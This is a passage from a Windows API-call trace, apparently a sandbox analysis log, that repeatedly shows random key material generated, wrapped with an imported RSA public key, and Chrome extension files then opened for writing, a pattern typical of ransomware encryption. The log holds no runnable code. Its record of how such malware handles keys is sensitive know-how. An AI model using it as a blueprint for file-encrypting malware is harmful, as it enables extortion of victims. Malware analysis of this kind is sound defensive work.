CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.632] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0215.632] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.634] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.636] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.636] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.636] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.636] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0215.639] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648ba40) returned 1 [0215.639] CryptGetKeyParam (in: hKey=0x648ba40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.639] CryptEncrypt (in: hKey=0x648ba40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7280000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7280000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.639] GetLastError () returned 0x0 [0215.639] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.639] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0215.642] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bc40) returned 1 [0215.642] CryptGetKeyParam (in: hKey=0x648bc40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.642] CryptEncrypt (in: hKey=0x648bc40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7290000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7290000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.642] GetLastError () returned 0x0 [0215.642] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0215.643] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.648] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.651] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.652] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.652] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.652] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.652] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.654] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.655] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.655] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.655] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.655] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0215.658] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bb40) returned 1 [0215.658] CryptGetKeyParam (in: hKey=0x648bb40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.658] CryptEncrypt (in: hKey=0x648bb40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x72a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x72a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.658] GetLastError () returned 0x0 [0215.658] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.658] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0215.661] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b8c0) returned 1 [0215.661] CryptGetKeyParam (in: hKey=0x648b8c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.661] CryptEncrypt (in: hKey=0x648b8c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x72b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x72b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.661] GetLastError () returned 0x0 [0215.661] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.661] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.662] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0215.664] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.665] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.666] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.666] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0215.666] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.667] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.669] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.669] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.669] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.669] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.671] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bac0) returned 1 [0215.672] CryptGetKeyParam (in: hKey=0x648bac0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.672] CryptEncrypt (in: hKey=0x648bac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x72c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x72c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.672] GetLastError () returned 0x0 [0215.672] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.672] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0215.674] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bb80) returned 1 [0215.674] CryptGetKeyParam (in: hKey=0x648bb80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.674] CryptEncrypt (in: hKey=0x648bb80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x72d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x72d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.674] GetLastError () returned 0x0 [0215.674] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0215.674] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.688] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0215.691] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.692] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.692] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.692] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0215.693] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.694] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.696] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.696] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.696] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.696] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0215.699] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bec0) returned 1 [0215.699] CryptGetKeyParam (in: hKey=0x648bec0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.699] CryptEncrypt (in: hKey=0x648bec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x72e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x72e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.700] GetLastError () returned 0x0 [0215.700] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.700] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0215.702] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b900) returned 1 [0215.702] CryptGetKeyParam (in: hKey=0x648b900, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.702] CryptEncrypt (in: hKey=0x648b900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x72f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x72f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.702] GetLastError () returned 0x0 [0215.702] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.702] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.703] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0215.705] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.706] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.706] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.706] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.706] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.708] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.709] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.709] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.709] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.710] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0215.712] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648be40) returned 1 [0215.712] CryptGetKeyParam (in: hKey=0x648be40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.712] CryptEncrypt (in: hKey=0x648be40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7300000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7300000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.713] GetLastError () returned 0x0 [0215.713] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0215.713] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0215.715] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bf40) returned 1 [0215.715] CryptGetKeyParam (in: hKey=0x648bf40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.715] CryptEncrypt (in: hKey=0x648bf40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7310000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7310000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.715] GetLastError () returned 0x0 [0215.715] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0215.715] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.716] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.718] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.719] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.719] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.719] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.719] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.721] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.722] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.722] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.722] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.723] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0215.726] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b980) returned 1 [0215.726] CryptGetKeyParam (in: hKey=0x648b980, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.726] CryptEncrypt (in: hKey=0x648b980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7320000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7320000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.726] GetLastError () returned 0x0 [0215.726] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0215.726] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0215.729] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bc80) returned 1 [0215.729] CryptGetKeyParam (in: hKey=0x648bc80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.729] CryptEncrypt (in: hKey=0x648bc80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7330000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7330000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.730] GetLastError () returned 0x0 [0215.730] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.730] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.730] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.732] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.734] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.734] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.734] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.734] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.736] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.737] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.737] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.737] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.737] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.740] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bbc0) returned 1 [0215.740] CryptGetKeyParam (in: hKey=0x648bbc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.740] CryptEncrypt (in: hKey=0x648bbc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7340000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7340000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.741] GetLastError () returned 0x0 [0215.741] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.741] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0215.744] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648be80) returned 1 [0215.744] CryptGetKeyParam (in: hKey=0x648be80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.744] CryptEncrypt (in: hKey=0x648be80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7350000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7350000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.745] GetLastError () returned 0x0 [0215.745] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.745] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.745] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.748] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.749] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.749] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.749] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.749] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.751] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.752] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.752] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.752] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 